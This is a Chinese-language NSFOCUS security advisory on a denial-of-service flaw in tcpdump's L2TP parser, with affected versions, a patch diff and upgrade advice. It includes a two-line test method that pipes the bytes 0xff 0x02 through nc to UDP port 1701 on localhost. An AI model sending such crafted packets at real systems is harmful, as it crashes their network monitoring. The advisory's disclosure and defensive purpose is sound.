安全研究

安全漏洞
TCPDump远程拒绝服务攻击漏洞

发布日期:2003-12-20
更新日期:2003-12-29

受影响系统:
LBL tcpdump 3.7
LBL tcpdump 3.5.2
LBL tcpdump 3.5
LBL tcpdump 3.4a6
LBL tcpdump 3.4
LBL tcpdump 3.6.2
    - Caldera Open Linux Workstation 3.1.1
    - Caldera Open Linux Workstation 3.1
    - Caldera Open Linux Server 3.1.1
    - Caldera Open Linux Server 3.1
    - Conectiva Linux 8.0
    - Conectiva Linux 7.0
    - Conectiva Linux 6.0
    - Conectiva Linux 5.1
    - Conectiva Linux 5.0
    - Debian Linux 3.0
    - FreeBSD 4.3
    - FreeBSD 4.2
    - FreeBSD 4.1.1
    - FreeBSD 4.1
    - FreeBSD 4.0
    - Mandrake Linux 8.2
    - Mandrake Linux 8.1
    - Mandrake Linux 8.0
    - Mandrake Linux 7.2
    - Mandrake Linux 7.1
    - RedHat Linux 7.2
    - RedHat Linux 7.1
    - RedHat Linux 7.0
    - RedHat Linux 6.2
    - SuSE Linux 8.0
    - Trustix Secure Linux 1.5
    - Trustix Secure Linux 1.2
    - Trustix Secure Linux 1.1
不受影响系统:
LBL tcpdump 3.7.2
LBL tcpdump 3.7.1
描述:
BUGTRAQ  ID: 9263

TCPDump是一款功能强大的网络协议分析器。

TCPDump在处理L2TP协议时存在问题,远程攻击者可以利用这个漏洞进行拒绝服务攻击。

发送包含0xff、0x02字节给端口1701/udp,TCPDump中的L2TP协议解析器就会进入无限循环,消耗所有内存并产生段错误。

此漏洞在OpenBSD 3.3和-current之前版本的tcpdump3.7上重现,其他版本也可能存在此问题。

<*来源:Przemyslaw Frasunek (venglin@freebsd.lublin.pl
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107193841728533&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Przemyslaw Frasunek (venglin@freebsd.lublin.pl)提供了如下测试方法:

tcpdump -i lo0 -n udp and dst port 1701 &
perl -e 'print "\xff\x02"' | nc -u localhost 1701

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* Michele Marchetto提供如下第三方补丁:

--- Makefile.old Tue Dec 23 12:56:49 2003
+++ Makefile Tue Dec 23 12:58:15 2003
@@ -23,7 +23,7 @@
PROG= tcpdump
MAN= tcpdump.8

-CFLAGS+=-Wall -I${.CURDIR}/../../sbin/pfctl
+CFLAGS+=-Wall -I/usr/src/sys -I${.CURDIR}/../../sbin/pfctl
.PATH: ${.CURDIR}/../../sbin/pfctl

CFLAGS+=-DCSLIP -DPPP -DHAVE_FDDI -DETHER_SERVICE -DRETSIGTYPE=void -DHAVE_NET_SLIP_H -DHAVE_ETHER_NTOHOST -DINET6


--- print-l2tp.c.old Tue Dec 23 12:55:49 2003
+++ print-l2tp.c Tue Dec 23 12:56:25 2003
@@ -605,6 +605,8 @@
printf(")");
} else {
printf(" invalid AVP %u", ntohs(*ptr));
+
+ return;
}

if (length >= len && len > 0)

厂商补丁:

LBL
---
Tcpdump 3.7.1版本不受此漏洞影响,建议用户下载使用,请到厂商的主页下载:

http://www.tcpdump.org

浏览次数:3657
严重程度:1(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障